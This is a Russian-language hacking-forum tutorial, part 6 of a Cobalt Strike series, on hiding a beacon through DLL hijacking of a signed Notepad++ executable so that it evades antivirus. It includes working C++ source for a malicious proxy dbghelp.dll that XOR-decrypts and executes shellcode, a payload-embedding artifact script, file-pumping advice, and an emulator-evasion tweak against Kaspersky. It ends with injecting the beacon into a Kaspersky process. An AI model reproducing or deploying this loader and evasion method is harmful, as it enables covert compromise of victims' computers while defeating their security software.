• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CobaltStrike от А до Я (6 часть.)

DarthVader

HDD-drive
Пользователь
Регистрация
24.11.2019
Сообщения
31
Реакции
236
Если эта статья займет хоть какое-то место в данном конкурсе, я еще сделаю дополнительный релиз довольно любопытной информации + исходный код.
Эта информация интересна будет многим и даже многие захотят воспользоваться релизом, но самым интересным будет то, что возможно произойдет потом...

Ссылки на прошлые статьи:
https://xss.pro/threads/53624/ - CobaltStrike от А до Я (3 часть.)
https://xss.pro/threads/54418/ - CobaltStrike от А до Я (4 часть.)
https://xss.pro/threads/55854/ - CobaltStrike от А до Я (1 часть.)
Информация взаимосвязана (нужно будет ссылаться на определенную информацию, в уже написанных статьях), да и такой объем подробной информации в одной статье невозможно разместить...

Обычно требуется закрепление в системе, обход защиты антивируса, крипт маяка(beacon) - вот про это здесь и будет информация. :)
Первая часть предназначена для начинающих, и в ней будет информация, как скрыть маяк(beacon) в системе Windows от визуального обнаружения, в том же диспетчере задач.
Как примитивно обойти антивирус - в качестве жертвы, будут выступать Kaspersky, COMODO...
Вторая часть будет предназначена для профессионалов, и там будет информация про криптор, будут и исходники криптора и т. д...
Вы поймете как закриптовать маяк (beacon.dll) совершенно "бесплатно", а также мы разберем некоторые важные нюансы крипта, и возможно... (Условия см. ниже)

Предлагаю, для начала, сделать маленький тест:
У нас есть установленная в системе программа Notepad++, а ниже перечислен список файлов, среди которых находится маяк(beacon)
Код:
notepad++.exe
langs.xml
stylers.xml
dbghelp.db
LICENSE
readme.txt
change.log
shortcuts.xml
doLocalConf.xml
В оригинальном файле notepad++.exe изменены всего 2 байта, когда происходит запуск notepad++.exe тут же отрабатывает маяк(beacon)
Вопрос состоит в том, по каким причинам стал возможен запуск маяка(beacon)?

Если вы сразу смогли понять, как это было сделано - значит вы профессионал.
Если вы смогли понять только после того, как увидели подсказку - значит вы любитель.
6-0.png
Ну, а если вы не смогли понять даже с подсказкой... - это значит, что вы просто дилетант. :)
Слышен голос из толпы: - помогите! отпустите! я ПРОФЕССИОНАЛ! - кого-то держат семеро дилетантов, и не дают ему побежать и победить всех антивирусных специалистов.

Иногда, а возможно и часто, требуется спрятать маяк(beacon) в OS Windows так, чтобы его место расположение на диске было трудно обнаружить.
Да и не только на диске, что тут скрывать-то, еще хочется, чтобы процесс маяка(beacon) не было видно в диспетчере задач. :)
А и еще всегда хочется, чтобы маяк(beacon) имел возможность обхода многочисленных антивирусов :D
Напомню, что эта часть предназначена для начинающих!
В третьей статье было написано о том, как обозначить свое скрытое присутствие в системе, но возможности маяка(beacon), в такой ситуации, очень ограничены...
Такой маяк(beacon) позволяет взять какой-то файл и загрузить в систему в какую-нибудь директорию, которая не ограничена правами, и запустить этот файл через команду shell (про shell подробно было написано в четвертой статье)
из четвертой статьи мы так же узнали, что у kaspersky'ого есть HIPS (а есть еще и AEP), которая ограничивает в правах доступа к другим процессам... и даже в первой части четвертой статьи было написано о том, как "вручную" можно обходить антивирусы, а во второй части четвертой статьи (релиза, которой в паблике не было) даже было написано, как все это можно было сделать автоматически, были даже исходники и масштабируемый метод реализации, но...
Но, но... возникает вопрос, а как же мы можем дальше продвинуться в системе/сети под защитой антивируса? (а возможно даже и под защитой сразу нескольких антивирусов...)

"Универсальная системная уязвимость"
DLL Hijacking attack
(aka Planting/Hijacking/Preloading) так называемый вид атак (обозначений у всего этого очень много), но все это относится к обману легитимного/доверенного (подробнее об этом см. ниже) приложения для загрузки подменяемой вредоносной DLL, вместо оригинальной DLL.
Есть системные (всякие там SafeDllSearchMode, CWDIllegalInDllSearch и т. д.) попытки хоть как-то избавиться от этой существующей в OS проблемы, но все безуспешно...
Сейчас существует ну очень много программ, уязвимых к DLL Hijacking, а также такие уязвимые места довольно просто найти... (имхо)
Ниже мы ПОДРОБНО разберем весь процесс, поиска и создания такого вида атак для того, чтобы потом все это использовать в CobaltStrike...
Далее я буду писать, "уязвимость" DLL Hijacking для простоты обозначения и для того, чтобы сократить количество текста в статье...

Вот пример, данной "уязвимости" DLL Hijacking в Notepad++ (одной из версий), где маяк(beacon) работает без проблем обходя защиту COMODO Firewall незаметно для юзера и автоматически добавлен в список рейтинга как «доверенный», что позволяет без проблем продвигаться в системе/сети...

6-1.png


6-2.png


6-3.png


Процесс маяка(beacon), который работает как отдельный поток в легальной программе Notepad++ и как видно на скриншотах, процесс Notepad++ даже не был запущен в "песочнице", и не было никаких предупреждений, и при этом маяк(beacon) не закриптован...
Возникает вопрос, а как такое возможно, да еще и при помощи, казалось бы, банальной DLL Hijacking attack?
6-4.png


У многих антивирусов, есть такая болезнь под названием «доверенный сертификат» aka РЕПУТАЦИЯ - это название условное, так как у разных антивирусов эти обозначения различаются, вот здесь мы и используем данную возможность для обхода защиты антивирусов.
Для этого требуется любая топовая программа с действительным сертификатом и с уязвимостью DLL Hijacking, здесь Notepad++, как пример, и COMODO автоматически доверяет данной программе и добавляет в доверенный список файлов.

6-5.png


Кто-то может подумать, а зачем здесь COMODO Firewall в качестве примера, да еще с таким количеством скриншотов, ведь это даже и не антивирус...
Но, в COMODO есть модуль guard32.dll в котором есть защита от подменены DLL (а именно этой, отчасти, теме и посвящена эта статья), он более тщательно контролирует весь процесс, чем это сделано на уровне системы (SafeDllSearchMode и т. д.)
Модуль guard32.dll подгружается в адресное пространство всех запускаемых пользователем программ и начинает ставить хуки на экспортируемых функциях в подменяемой DLL - это в кратце, на самом деле, там все намного сложнее...
И еще, если что-то COMODO Firewall не понравится, а там есть такие вещи как HIPS и т. д., то такая программа будет автоматически выполняться в изолированном контейнере...
А маяк(beacon), находящийся в изолированном контейнере, будет "слепой" и "глухой", а по своей сути - инвалид, с которым в разведку не сходить...
ПРИМЕЧАНИЕ: советую обратить особое внимание на скриншоты выше и более подробно проанализировать...

Когда-то, лет 5-6 назад...
Была утечка информации, что якобы ЦРУ использует DLL Hijacking в своих "корыстных" целях... И даже Microsoft высказывала свою озабоченность поэтому поводу...
ЦРУ в Notepad++ (вообще, там был огромный список софта) подменяли "какую-то" dll'ку и даже потом разработчики Notepad++ что-то там исправили, вернее добавили проверку сертификата у SciLexer.dll перед её загрузкой, и если сертификат отсутствует или недействительный, то появляется тревожное сообщение.
https://notepad-plus-plus.org/news/v733-fix-cia-hacking-npp-issue/ - Fix CIA Hacking Notepad++ Issue
И... и... и вот вроде бы и все, но...
Наши дни...

Хм. ну, если DLL Hijacking юзают в ЦРУ, то грешно будет такой халявой и нам не воспользоваться. :)
Но, для начала, давайте послушаем/посмотрим на Оды о DLL Hijacking, которые воспеваются в справке Kaspersky'ого:
Технология автоматической защиты от эксплойтов (AEP) разработана для борьбы с вредоносными программами, которые эксплуатируют уязвимости программного обеспечения.
AEP является одной из важнейших компонент системы детектирования угроз на основе поведения, созданной в «Лаборатории Касперского».
Помимо этого, технология AEP также включает защитные механизмы против большинства методов атак, которые применяются в эксплойтах, включая DLL Hijacking, Reflective Dll Injection, Heap Spray Allocation, Stack Pivot и др. Эти дополнительные индикаторы поведения поставляются из системы поведенческого анализа (Behavior Detection), что позволяет модулю AEP блокировать выполнение атакующего кода с высокой надёжностью.
«позволяет модулю AEP блокировать выполнение атакующего кода с высокой надёжностью», - звучит это адски пугающе... (слышу звон, да пустой какой-то он)
Короче, оставлю это для контраста здесь:
The installer of Kaspersky Anti-Ransomware Tool (KART) was vulnerable to a DLL hijacking attack due to an unsafe DLL search route, allowing an attacker to escalate privileges in the system. (CVE-2020-28950)...
Ну что тут сказать, в реальности много защитного ПО, которые уязвимы к DLL Hijacking
даже сейчас все еще существуют подобные "уязвимости" в самих антивирусах, ну например, первое что попалось: https://www.fortiguard.com/psirt/FG-IR-21-088
но DLL Hijacking сам по себе очень слабый вид атаки, а тем более, если использовать с CobaltStrike'ом... топовые антивирусы не позволят воспользоваться такими атаками... но...

Подготовка и создание маяка (beacon.dll)
Теперь, когда мы знаем (из информации выше), что наш маяк(beacon) может иметь при таких раскладах полный карт-бланш для продвижения в системе/сети, мы можем начать подготовку к созданию тестового маяка(beacon)
1. Для начала потребуется список популярного софта, его можно нагуглить: топ софт, The best soft и т. д. (я в качестве примера, буду использовать Notepad++)
2. Топовый софт всегда чистый и к нему более лояльно относятся антивирусы при проверке. Ну, то есть, это выражается в том, что будет меньше задействовано механизмов проверок при сканировании антивирусом. (а среди них могут быть очень гадкие детекты, которых можно избежать при попытке скрыть зловред под личиной легального софта.)
3. Смотрим, какой есть софт (или часто встречается) в автозагрузке системы, и если он есть, то в этом софте и пытаемся заменить оригинальную динамическую библиотеку в папке с программой на вредоносную динамическую библиотеку маяк(beacon), которая будет при следующем старте системы подгружена в адресное пространство приложения. (тут много нюансов, я их сознательно опустил, так как эта тема выходит за рамки данной статьи)
4. Важным критерием при выборе софта, является софт, который работает из-под администратора. (тут много нюансов, я их сознательно опустил, так как эта тема выходит за рамки данной статьи)

Для примера, я взял популярную программу Notepad++, тем более мы знаем, что старые версии Notepad++ уязвимы к DLL Hijacking.
Есть очень много старого софта с уязвимостями (это утверждение относится не только к DLL Hijacking) - да, для обычного пользователя будет важным обновить программу имеющую уязвимость, но для атакующего это не важно и его интересует, в данном случае только одно, а именно легальный подписанный exe-файл уязвимый к DLL Hijacking.
В интернете всегда можно скачать старую версию программы с уязвимостью, а на специальных сайтах можно узнать про программы, которые имеют эти самые уязвимости или можно найти уязвимости самому, что является наиболее предпочтительным вариантом.
ПРИМЕЧАНИЕ: локальный антивирус не имеет такой возможности, которая бы ему позволяла контролировать уязвимости во всем старом ПО сторонних разработчиков, более того сами антивирусы имеют уязвимости и их очень много...
Более того, далее все усугубляется еще тем, что многие антивирусы имеют огромную "базу рейтингов", и если проверяемая легальная топовая программа с действительным сертификатом находится в этой "базе", то антивирус даже не будет проверять зловредные действия, которые может выполнять это легальное ПО. (естественно все зависит от настроек антивируса и соответственно предоставляемых возможностей антивирусом или защитным ПО)

Для начала нужно сделать акцент на одном важном (базовом) нюансе, а именно на выборе подменяемой DLL
Возьмем для анализа, например, Notepad++ 8 версии:
https://notepad-plus-plus.org/downloads/v8/ - Mini-portable (7z)
https://github.com/notepad-plus-plu...es/download/v8/npp.8.0.portable.minimalist.7z и https://github.com/notepad-plus-plu...ownload/v8/npp.8.0.portable.minimalist.x64.7z
Если обратить внимание, то можно заметить, что в 8-ой версии уже нет SciLexer.dll которую юзали в ЦРУ, но к этому мы еще вернемся позже...
Ниже я покажу, как манипулируя различными (старыми и/или новыми) версиями программы, можно добиться наилучшего нужного результата... - понимание этого процесса крайне важно!
Если посмотреть на импортируемые в notepad++.exe системные dll'ки, то можно увидеть одну из них dbghelp.dll

6-6.png


В notepad++.exe есть много различных импортируемых системных dll'ок, но в данном случае в импорте присутствует dbghelp.dll ее мы и подменим на начальном этапе при первых тестах.
В dbghelp.dll используется всего одна API ImageNtHeader, что не требует создания особой DLL, в которой будут обертки (так называемые wrapper'ы) для обработки огромное количества импортируемых API
ПРИМЕЧАНИЕ: важно делать выбор (для подмены) именно тех импортируемых dll'ок, в которых используется как можно меньше API...
Еще существует в программах, так называемая, динамическая загрузка dll'ок, которые загружается через API LoadLibrary или др. подобные API, но для этого требуется более сложный анализ непосредственно самого кода, через дизассемблер, например, IDA.
Я взял для примера dbghelp.dll потому, что эта dll'ка часто встречается в различном современном софте, ну например, Microsoft Office или UltraEdit и т. д.
Для примера: C:\Program Files\Microsoft Office\root\Office16\DBGHELP.DLL
Вообще, есть много старого софта или игр, в которых используется эта dbghelp.dll причем она находится прямо в директории с самой программой (которая подменяет системную C:\Windows\System32\dbghelp.dll), что визуально как бы не будет вызывать подозрения у обычного юзера, да и у опытного возможно тоже.., но можно скрыть все это дело еще более эффективно... (об этом см. ниже)
Существуют специальные программы, которые облегчают процесс анализа и поиска для подмены подходящей импортируемой dll - это различные api-мониторы, PE-viewer'ы, ProcessMonitor'ы, etc., а также можно написать скрипт(ы), который быстро предоставит нужный результат.
ВАЖНО: в старых или новых версиях программ импортируемые dll (как и API) могут отличаться, а также количество используемых API в этих программах...
Разработчики софта имеют дурную привычку оставлять доступными для скачивания старое ПО с уязвимостями, но при этом сертификат остается доверительным для многих антивирусов или защитного ПО.

Вот мы и подошли к самому главному, а именно к коду, который потребуется для создания чистого маяка(beacon) для первых тестов.
В третьей статье было написано о том, как создавать beacon.exe, а в этой части будет информация о том, как создать beacon.dll
Преимущество DLL в том, что она визуально не отображается в диспетчере задач, код работает в доверенном процессе, и соответственно подключение к серверу осуществляется через легальное ПО, в приведенном выше примере (см. выше скриншот с COMODO Firewall), через Notepad++.
У антивирусов в разы меньше детектов сделано для DLL, если сравнивать с EXE, а это значит, что скрыть DLL от антивируса гораздо проще, да и процесс чистки dll'ок проще... (имхо)

После выбора подменяемой DLL (в нашем случае, это dbghelp.dll), можно приступить к компиляции самой DLL, код ниже - это некий шаблон (файл dbghelp.dll.cpp), по его подобию можно создавать код для других dll'ок и он также нужен для указания на места, которые нужно изменять при необходимости:
код шаблона универсальный, можно компилировать как x86, так и x64
Код:
#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

#define DATA_SIZE 0x56000

typedef void(__cdecl *START)();
typedef  PIMAGE_NT_HEADERS(__stdcall *pImageNtHeader)(__in PVOID Base);

#pragma pack(1)
typedef struct DATA {
    BYTE XKEY[2];
    DWORD size;
    DWORD gmhOffset;
    DWORD gpaOffset;
    BYTE payload[0];
} DATA, *PDATA;

typedef struct API {
    pImageNtHeader ImageNtHeader;
} API, *PAPI;
#pragma pack()

#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
BOOL once = FALSE;
HMODULE hmDbghelp = NULL;
API api = { 0 };
#pragma data_seg()

void set_key_pointers(PBYTE buffer) {
    PDATA pData = (PDATA)&data[0];

    /* this payload does not adhere to our protocol to pass GetModuleHandleA / GetProcAddress to the payload directly. */
    if(pData->gmhOffset <= 0 || pData->gpaOffset <= 0) return;

    *(SIZE_T*)(buffer + pData->gmhOffset) = (SIZE_T)GetModuleHandleA;
    *(SIZE_T*)(buffer + pData->gpaOffset) = (SIZE_T)GetProcAddress;
}

__declspec(noinline) DWORD __stdcall StartThread(__in LPVOID unused)
{
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    PDATA pData = (PDATA)&data[0];

    for(DWORD i = 0; i < pData->size; i++)
    {
        buffer[i] = pData->payload[i] ^ pData->XKEY[i % 2];
    }

    /* propagate our key function pointers to our payload */
    set_key_pointers(buffer);

    START start = (START)buffer;
    start();
    return ERROR_SUCCESS;
}

__declspec(noinline) void __stdcall InitStart()
{
    if(!once)
    {
        wchar_t szDllPathName[MAX_PATH];
        wchar_t szDbghelp_dll[] = { '\\', 'S', 'y', 's', 'W', 'O', 'W', '6', '4', '\\', 'd', 'b', 'g', 'h', 'e', 'l', 'p', '.', 'd', 'l', 'l', 0, 0 };

#ifdef _M_IX86
        GetWindowsDirectoryW(szDllPathName, MAX_PATH);
        PathAppendW(szDllPathName, szDbghelp_dll);
        hmDbghelp = LoadLibraryW(szDllPathName);
#endif
        if(!hmDbghelp)
        {
            GetSystemDirectoryW(szDllPathName, MAX_PATH);
            PathAppendW(szDllPathName, &szDbghelp_dll[9]);
            hmDbghelp = LoadLibraryW(szDllPathName);
        }

        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)StartThread, 0, 0, NULL);
        if(hThread) CloseHandle(hThread);
        once = TRUE;
    }
}

PIMAGE_NT_HEADERS __stdcall exportImageNtHeader(__in PVOID Base)
{
    char szImageNtHeader[] = { 'I', 'm', 'a', 'g', 'e', 'N', 't', 'H', 'e', 'a', 'd', 'e', 'r', 0 };

    if(!api.ImageNtHeader)
    {
        api.ImageNtHeader = (pImageNtHeader)GetProcAddress(hmDbghelp, szImageNtHeader);
    }

    return (api.ImageNtHeader != NULL) ? api.ImageNtHeader(Base) : NULL;
}

#pragma comment(linker, "/entry:DllEntryPoint")
BOOL __stdcall DllEntryPoint(HMODULE hInstance, DWORD  fdwReason, PVOID pContext)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            InitStart();
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
Сам шаблон является простым примером, он рабочий, создавался он специально для начинающих. Для профессионалов модифицировать данный код не составит никаких проблем. :)
Сам код имеет такой же эффект, как и в третьей статье... то есть, его антивирусный сканер памяти не обнаруживает... (см. так же в четвертой статье, как противодействовать при помощи подмены сигнатуры в начале памяти - это важно)
После того, как будет скомпилирована dll'ка, ее нужно будет подставить вместо той, палевной, которая юзается по умолчанию в CobaltStrike'е
Делается это также как про это было написано в третьей статье, за исключением того, что теперь нужно указывать DLL вместо EXE
Константа DATA_SIZE имеет двойное важное значение:
1. это размер, обязательно должен быть значительно больше размера файлов beacon.dll или beacon.x64.dll, которые находятся в директории sleeve в cobaltstrike.jar - этот размер также различается в зависимости от версии CobaltStrike'а
2. этот размер можно делать значительно больше, чем это требуется. Тут фишка в том, что у антивирусов существуют разные сигнатуры и может быть так, что в сигнатуре какого-то антивируса будет указан диапазон размера сэмпла, а увеличив значение константы DATA_SIZE в несколько раз, можно обойти критерии сигнатуры и таким образом убить детект... (What is Pump File? A file pumper increases and adds bytes to the Crypter file to increase the output size.) - это не 100% панацея, но при определенных обстоятельствах может помочь (все зависит от сигнатуры антивируса и от самого антивируса...)

В проект нужно обязательно подключить дополнительно еще и файл dbghelp.dll.def с данными:
Код:
EXPORTS
ImageNtHeader=exportImageNtHeader
Экспортируемые функции обертки (так называемые wrapper'ы), такие как exportImageNtHeader нужны для переадресации в оригинальную API, для того чтобы не нарушать работоспособность программы, в которой подменяется импортируемая DLL.
Запуск маяка(beacon), а также выделение памяти и расшифровка (банальный xor) данных, осуществляется в отдельном потоке через CreateThread в функции StartThread
Остальной код, на мой взгляд, читабельный и должен быть понятен, без дополнительных комментариев к этому коду...
Напомню, что дополнительную информацию для этого кода, также можно найти в третьей статье в первой части...
Вообще код похож, в обоих случаях, за исключением лишь той разницы, что тут для DLL, а там для EXE
А ну еще, пожалуй, стоит сделать акцент на точке входа в DLL, а именно функции DllEntryPoint (DLLMain), а если еще конкретнее, то в функции InitStart обязательно нужно находить и указывать полный путь до подменяемой импортируемой DLL и не забывать изменять имя szDbghelp_dll на то, имя DLL которая подменяется.

Дополнительная информация о создании артефакта, для которого нужен специальный скрипт - подробную информацию можно найти в третьей статье, начиная с EXECUTABLE_ARTIFACT_GENERATOR
Тут я лишь коснусь различий, которые относятся к DLL и сделанных изменениях в скрипте:
Код:
# Arguments
#   $1 - the artifact file (e.g., artifact32.exe)
#   $2 - shellcode to embed into an EXE or DLL
# Return 
#   our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$handle $artifact_name $artifact $key $index $payload $payload_size $buffer $encoded_data $pos');
    ($artifact_name, $payload) = @_;
    
    # length of payload
    $payload_size = strlen($payload);
    # generate a random key
    $key = @();
    $key[0] = int(rand() * 253) + 1;
    $key[1] = int(rand() * 253) + 1;
    
    # pack data into a buffer 
    $buffer = allocate(1024);
    # [xor key] - 2 byte
    writeb($buffer, chr($key[0]));
    writeb($buffer, chr($key[1]) );
    # [length of payload] - 4 bytes
    writeb($buffer, pack("i-", $payload_size));

    # write our pointer offsets to allow the agent to bootstrap itself
    # without walking the kernel32 Export Address Table
    #
    # Some shellcodes don't support this hint; so we need to check.
    #
    if (-hasbootstraphint $payload) {
        writeb($buffer, pack("i-", payload_bootstrap_hint($payload, "GetModuleHandleA")));
        writeb($buffer, pack("i-", payload_bootstrap_hint($payload, "GetProcAddress")));
    }
    else {
        writeb($buffer, pack("i-", 0));
        writeb($buffer, pack("i-", 0));
    }

    # pack our encoded payload into the buffer
    for ($pos = 0; $pos < $payload_size; $pos++) {
        writeb($buffer, chr((byteAt($payload, $pos) ^ $key[$pos % 2]) & 0xFF));
    }
    # retrieve the contents of the buffer.
    closef($buffer);
    $encoded_data = readb($buffer, -1);

    # read in the executable template
    if ('artifact32' isin $artifact_name) {
        if ('.exe' isin $artifact_name) {
            $handle = openf(script_resource("artifact.x86.exe"));
        } else {
            $handle = openf(script_resource("artifact.x86.dll"));
        }
    } else {
        if ('.exe' isin $artifact_name) {
            $handle = openf(script_resource("artifact.x64.exe"));
        } else {
            $handle = openf(script_resource("artifact.x64.dll"));
        }
    }
    $artifact = readb($handle, -1);
    closef($handle);
    # find the location of our data in the executable
    $index = indexOf($artifact, 'A' x 1024);
    # return our encoded shellcode.
    return replaceAt($artifact, $encoded_data, $index);
}
Я изменил код, который определяет какой именно нужен стаб артефакта x86 или x64, а также этот скрипт применим как для DLL, так и для EXE.
Важно знать, что скомпилированные стабы артефактов, теперь обязательно нужно размещать в одной директории с скриптом.
Теперь, когда мы хотим сгенерировать новый артефакт, нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows DLL

6-7.png


Ну и еще об одном и втором изменении в скрипте:
Изменил однобайтный ксор на двухбайтный ксор, так как у некоторых антивирусов, например у Avira, есть примитивный функционал детекта, такого однобайтового ксора - просто тупо забыл, что существует вероятность такого детекта...
Есть такой функционал в CobaltStrike'е как smartinject, его функционал должен осуществляется как раз в скрипте и в стабе артефакта - я этот функционал в прошлый раз удалил, чтобы сократить код. (просто при тестах с выключенным smartinject тестируемые антивирусы Kaspersky и ESET не детектили...)
Но, если посмотреть, что написано про smartinject в справке CobaltStrike'а:
The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll.
И что пишет Kaspersky:
Эти дополнительные индикаторы поведения поставляются из системы поведенческого анализа (Behavior Detection)
То... Там пишут - тут пишут, видимо, такая возможность такого детекта какими-то антивирусами все же существует, так что пришлось добавить этот функционал в скрипт и в код стаба артефакта в виде функции set_key_pointers скопипасзженой из стандартного пакета Artifact Kit CobaltStrike'а (правда пришлось весь его говнокод в этой функции переписать, осталась там всего одна строчка его комментария :D)

bypass Antiviruses: Kaspersky, etc.
После того, как все было подготовлено и маяк beacon.dll был создан, можно приступить к боевым тестам...
Для начала переименуем beacon.dll в dbghelp.dll
Подменяемая DLL (dbghelp.dll) должна обязательно находиться в одной директории с программой (notepad++.exe) - этот фактор является самым важным, при подмене DLL импортируемой программой.
Если dbghelp.dll(beacon.dll) проверить антивирусом Kaspersky, то в результате получим детект:
Код:
Тип: Троянская программа
Название: HEUR:Trojan.Win32.CobaltStrike.gen
Точность: Эвристический анализ
Степень угрозы: Высокая
Тип объекта: Файл
Имя объекта: dbghelp.dll
По сигнатуре HEUR:trojan.Win32.CobaltStrike.gen можно понять, что антивирус определил, что это маяк(beacon) CobaltStrike'а... - а это значит, что Kaspersky эмулирует код на точке входа DllEntryPoint (DllMain) и расшифровывает данные, а далее делает эвристический анализ этих расшифрованных данных и определяет, что это маяк(beacon) CobaltStrike'а... - эмулятор кода и противодействие ему, а также автоматизация этого процесса, были подробно описаны во второй части четвертой статьи...
Так как не было релиза второй части четвертой статьи (результаты голосования в прошлый раз были не достаточными для этого), код антиэмуля из исходного кода этой стати я удалил...
Возникает вопрос, а что же теперь делать? Ну, ответ прост - закриптовать, а криптор и важную информацию, можно будет получить во второй части этой статьи, но появление второй части опять будет зависеть от результатов голосования. (каждая информация - имеет свою цену :) )
Но сейчас мы воспользуемся lifehack'ом: (хех, с антиэмулем и криптором все было бы значительно проще и правильнее)
Функция InitStart является универсальной - то есть, эта функция - это некий шаблонный код, и по аналогии этой функции InitStart можно создавать код, для других подменяемых DLL, для других программ...
Нужно функцию InitStart(); удалить из DllEntryPoint и переместить ее в экспортируемую функцию ImageNtHeader... то есть, должно стать вот так:
Код:
PIMAGE_NT_HEADERS __stdcall exportImageNtHeader(__in PVOID Base)
{
    InitStart(); // вставляем здесь.

    char szImageNtHeader[] = { 'I', 'm', 'a', 'g', 'e', 'N', 't', 'H', 'e', 'a', 'd', 'e', 'r', 0 };

    if (!api.ImageNtHeader)
    {
        api.ImageNtHeader = (pImageNtHeader)GetProcAddress(hmDbghelp, szImageNtHeader);
    }

    return (api.ImageNtHeader != NULL) ? api.ImageNtHeader(Base) : NULL;
}

#pragma comment(linker, "/entry:DllEntryPoint")
BOOL __stdcall DllEntryPoint(HMODULE hInstance, DWORD  fdwReason, PVOID pContext)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            // InitStart(); - здесь удаляем или комментируем.
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
Теперь Kaspersky маяк(beacon) CobaltStrike'а детектить не будет...
В связи сделанными изменениями в коде, из-за детекта Kaspersky'им, последствия продолжаются...

Кстати, у Kaspersky'ого нет такой защиты от подменены DLL, как у COMODO (модуль guard32.dll), поэтому здесь все происходит просто и можно так легко вставить InitStart в экспортируемую функцию exportImageNtHeader, если бы это был COMODO, то он бы не позволил выполниться функции InitStart в экспортируемой функции ImageNtHeader (exportImageNtHeader)...
Я это все пишу для того, чтобы объяснить, что защитное ПО разное, и защищают они систему по-разному, обновляются ежеминутно, и что позволит сделать один антивирус, то не позволит сделать другой...
А для того, чтобы добиться универсальности маяка(beacon) (чтобы не было детектов в Scantime и в Runtime), нужны универсальные вещи типа криптора, антиэмулей и т. д.

ПРИМЕЧАНИЕ: программы имеющие цифровые подписи + DLL Hijacking - это универсальный метод для обхода многих антивирусов на основе репутации ПО, но в некоторых случаях требуются нетривиальные решения для обхода каких-то индивидуальных детектов.
Когда DLL статически загружается системой в адресное пространство программы, всегда вначале выполняется DllEntryPoint (DllMain), но так как мы убрали из DllEntryPoint функцию InitStart, то естественно нужный код из InitStart, который запустит маяк(beacon) не сработает...
Для этого мы эту функцию InitStart вставили в экспортируемую функцию ImageNtHeader (exportImageNtHeader), но и тут InitStart не сработает...
Я дал ссылку на минимальную версию Notepad++, а в ней нет плагинов, а если нет плагинов в директории plugins, то Notepad++ не будет вызывать и выполнять код в функции ImageNtHeader, в отличии от DllEntryPoint (DllMain), которая выполнится всегда...
Для этого, чтобы код в функции ImageNtHeader выполнился, для этого нужно в директорию plugins закинуть какой-нибудь стандартный плагин, ну типа NppConverter, тогда все будет работать как надо...

А теперь, посмотрим, как будет реагировать на это антивирус Kaspersky:
Первое что сделает Kaspersky, так это проверит у запускаемой программы цифровую подпись, и если все ОК, то далее проверяется репутация ПО...

6-8.png


Ну что же, посмотрим, что произошло после запуска Notepad++ с подмененной DLL:

6-9.png


Если посмотреть на скриншот, то можно увидеть, что Notepad++ был автоматически добавлен в группу доверия: «Доверенные» - правила обработки программ, по умолчанию в настройках включены, как и во многих антивирусах...
Давайте посмотрим какие возможности предоставляет нам группа доверия: «Доверенные»

6-10.png


Как видим, эта группа предоставляет полный карт-бланш, ну что же давайте этой возможностью воспользуемся и сделаем что-то такое, хм-м-м.., а вот что:

6-11.png


6-12.png


6-13.png


Я заинжектился при помощи кнопки Inject (inject 3300 x86 VM) в процесс с PID 3300 не вызывая тревоги у антивируса, а этот процесс с PID 3300, является ничем иным как Kaspersky Secure Connection созданным в «Лаборатории Касперского».© и при этом маяк(beacon), даже не был закриптован :)
Теперь можно процесс Notepad++ завершить... для того, чтобы не создавать лишней видимости активной атаки при продвижении в ОС...
